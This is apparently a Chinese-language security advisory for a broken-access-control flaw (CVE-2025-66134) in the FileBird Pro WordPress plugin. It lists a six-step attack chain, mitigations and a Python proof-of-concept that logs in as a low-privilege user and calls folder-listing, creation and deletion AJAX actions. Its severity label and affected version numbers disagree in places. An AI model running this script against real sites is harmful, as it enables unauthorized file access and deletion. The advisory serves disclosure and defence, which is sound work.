CVE-2025-66134 WordPress FileBird Pro插件缺失授权漏洞

漏洞信息

漏洞编号

CVE-2025-66134

漏洞类型

缺失授权漏洞（Broken Access Control）

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

NinjaTeam FileBird Pro (WordPress插件)

漏洞概述

CVE-2025-66134是WordPress插件FileBird Pro中发现的一个高危安全漏洞，属于Missing Authorization（缺失授权）类型。该漏洞存在于FileBird Pro插件的6.5.1及以下版本中，源于插件对用户权限验证不足，允许低权限用户（如订阅者角色）执行本应需要更高权限（如管理员）才能访问的敏感功能。FileBird Pro是一款广受欢迎的WordPress媒体库管理插件，帮助用户组织和管理媒体文件。由于该插件在处理某些管理功能时未正确实施访问控制检查，攻击者可以通过构造特定请求绕过权限限制，执行未授权操作。这可能导致媒体文件被恶意修改、删除或泄露敏感信息，对使用该插件的WordPress网站构成安全威胁。建议所有使用FileBird Pro的用户立即检查并更新到最新版本，以防止潜在的安全风险。

技术细节

该漏洞属于典型的Broken Access Control（访问控制失效）漏洞。在FileBird Pro插件的代码实现中，某些关键功能端点缺少current_user_can()或类似权限检查函数，导致任何已认证用户都能访问这些受限功能。攻击者只需拥有一个低权限账户（如订阅者角色），即可发送特制的HTTP请求到存在漏洞的API端点。典型攻击场景包括：1) 利用AJAX动作钩子未验证用户权限；2) 直接调用内部函数而绕过权限检查；3) 利用nonce验证缺失或可绕过的接口。攻击者可能利用此漏洞进行：非法访问和下载媒体库文件、修改文件夹结构和文件元数据、删除其他用户上传的媒体文件等操作。由于WordPress的媒体库通常存储用户上传的各种文件，此漏洞可能间接导致敏感信息泄露。

攻击链分析

STEP 1

步骤1

攻击者获取目标WordPress网站的低权限账户（如订阅者角色）

STEP 2

步骤2

使用获取的凭据登录WordPress并获取有效会话cookie

STEP 3

步骤3

构造针对FileBird Pro插件AJAX端点的恶意请求

STEP 4

步骤4

发送请求到存在缺失授权漏洞的API端点（如filebird_get_folders、filebird_create_folder等）

STEP 5

步骤5

由于插件未正确验证用户权限，攻击者以低权限身份成功执行高权限操作

STEP 6

步骤6

攻击者获取敏感媒体文件信息、修改文件夹结构或执行其他未授权操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
# CVE-2025-66134 PoC - FileBird Pro Broken Access Control
# Target: WordPress site with FileBird Pro plugin <= 6.5.1

import requests
import sys

target_url = input("Enter target WordPress URL: ").rstrip('/')
username = input("Enter low-privilege username: ")
password = input("Enter password: ")

# Step 1: Authenticate and get nonce
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
auth_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': f"{target_url}/wp-admin/"
}

print("[*] Attempting authentication...")
resp = session.post(login_url, data=auth_data, allow_redirects=False)

if 'wordpress_logged_in' not in session.cookies.get_dict():
    print("[-] Authentication failed!")
    sys.exit(1)

print("[+] Authentication successful!")

# Step 2: Exploit the missing authorization vulnerability
# Try to access FileBird admin functions with low-privilege account
exploit_urls = [
    f"{target_url}/wp-admin/admin-ajax.php?action=filebird_get_folders",
    f"{target_url}/wp-admin/admin-ajax.php?action=filebird_create_folder",
    f"{target_url}/wp-admin/admin-ajax.php?action=filebird_delete_folder"
]

for url in exploit_urls:
    print(f"\n[*] Testing: {url}")
    resp = session.get(url)
    if resp.status_code == 200:
        print(f"[+] Potential vulnerability - endpoint accessible with low privilege")
        print(f"    Response: {resp.text[:200]}")
    else:
        print(f"[-] Request failed with status: {resp.status_code}")

print("\n[*] PoC execution completed. Check responses above for vulnerability indicators.")

影响范围

FileBird Pro <= 6.5.1

FileBird Pro <= 6.4.9 (from patchstack reference)

防御指南

临时缓解措施

如果无法立即升级，可采取以下临时缓解措施：1) 限制新用户注册功能；2) 审查并删除不必要的用户账户，特别是低权限账户；3) 使用WordPress安全插件监控异常AJAX请求；4) 对wp-admin目录实施IP白名单访问限制；5) 考虑暂时禁用FileBird Pro插件直到完成安全更新。